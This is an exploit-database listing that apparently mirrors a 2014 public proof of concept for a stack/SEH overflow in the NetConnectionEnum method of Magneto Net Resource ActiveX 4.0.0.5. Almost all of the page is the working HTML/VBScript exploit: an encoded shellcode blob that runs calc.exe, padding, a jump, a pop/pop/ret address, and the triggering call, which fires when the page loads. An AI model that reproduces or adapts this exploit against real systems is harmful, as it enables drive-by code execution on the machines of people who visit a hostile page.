Magneto Net Resource ActiveX 4.0.0.5 - NetConnectionEnum Exploit (Universal)

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Magneto Net Resource ActiveX 4.0.0.5 - NetConnectionEnum Exploit (Universal) by dooki


                                                &#60;html&#62;
&#60;object classid=&#39;clsid:61251370-92BF-4A0E-8236-5904AC6FC9F2&#39; id=&#39;target&#39; /&#62;&#60;/object&#62;
&#60;script language=&#39;vbscript&#39;&#62;
&#39;Magneto Software Net Resource ActiveX v4.0.0.5 NetConnectionEnum SEH Exploit (Universal)
&#39;Author: dookie
&#39;Original PoC by:  s4squatch  - http://www.exploit-db.com/exploits/12208
&#39;Vendor:  http://www.magnetosoft.com/products/sknetresource/sknetresource_features.htm
&#39;SKNetResource.ocx
&#39;Function NetConnectionEnum ( ByVal strServerName As String ,  ByVal strQualifier As String ,  ByRef pvarNetConnectionInfo As Variant ) As Long
&#39;progid = &#34;SKNETRESOURCELib.SKNetResource&#34;

&#39;win32_exec -  EXITFUNC=seh CMD=calc.exe Size=338 Encoder=Alpha2 http://metasploit.com
shellcode = unescape(&#34;%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%48%49&#34;) & _
                        unescape(&#34;%49%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%68&#34;) & _
                        unescape(&#34;%58%50%30%42%31%42%41%6b%41%41%78%32%41%42%32%42&#34;) & _
                        unescape(&#34;%41%30%42%41%41%58%38%41%42%50%75%59%79%39%6c%4a&#34;) & _
                        unescape(&#34;%48%50%44%63%30%35%50%43%30%4c%4b%57%35%77%4c%4c&#34;) & _
                        unescape(&#34;%4b%51%6c%35%55%64%38%77%71%6a%4f%4c%4b%62%6f%45&#34;) & _
                        unescape(&#34;%48%4e%6b%31%4f%45%70%55%51%6a%4b%73%79%6e%6b%70&#34;) & _
                        unescape(&#34;%34%6c%4b%46%61%7a%4e%70%31%4b%70%4e%79%6e%4c%6c&#34;) & _
                        unescape(&#34;%44%49%50%52%54%67%77%5a%61%59%5a%34%4d%55%51%6f&#34;) & _
                        unescape(&#34;%32%4a%4b%79%64%37%4b%51%44%41%34%35%54%71%65%6d&#34;) & _
                        unescape(&#34;%35%4e%6b%53%6f%47%54%65%51%4a%4b%31%76%4e%6b%46&#34;) & _
                        unescape(&#34;%6c%30%4b%6e%6b%51%4f%75%4c%54%41%58%6b%4c%4b%77&#34;) & _
                        unescape(&#34;%6c%6e%6b%66%61%58%6b%6d%59%33%6c%46%44%46%64%6a&#34;) & _
                        unescape(&#34;%63%35%61%6b%70%71%74%6e%6b%63%70%54%70%6f%75%6f&#34;) & _
                        unescape(&#34;%30%54%38%56%6c%4c%4b%61%50%36%6c%4e%6b%34%30%35&#34;) & _
                        unescape(&#34;%4c%4c%6d%6e%6b%43%58%75%58%58%6b%54%49%4c%4b%4d&#34;) & _
                        unescape(&#34;%50%6c%70%43%30%57%70%55%50%6e%6b%32%48%35%6c%71&#34;) & _
                        unescape(&#34;%4f%67%41%6b%46%53%50%56%36%6b%39%48%78%4d%53%4f&#34;) & _
                        unescape(&#34;%30%71%6b%32%70%33%58%4c%30%4d%5a%56%64%43%6f%52&#34;) & _
                        unescape(&#34;%48%6a%38%4b%4e%4c%4a%66%6e%31%47%4b%4f%6b%57%61&#34;) & _
                        unescape(&#34;%73%70%61%30%6c%71%73%64%6e%70%65%73%48%72%45%35&#34;) & _
                        unescape(&#34;%50%68&#34;)
 
&#39;SEH overwrite - Around 500 bytes for shellcode

lead = String(502, &#34;A&#34;)
nseh = unescape(&#34;%eb%06%90%90&#34;)
seh = unescape(&#34;%bc%08%01%10&#34;)  &#39; 100108BC p/p/r in SKNetResource.ocx
trailer = String(162, &#34;B&#34;)

buff = lead + nseh + seh + shellcode + trailer
 
arg1 = buff
arg2 = &#34;defaultV&#34;
arg3 = &#34;defaultV&#34;
target.NetConnectionEnum arg1 ,arg2 ,arg3
 
&#60;/script&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1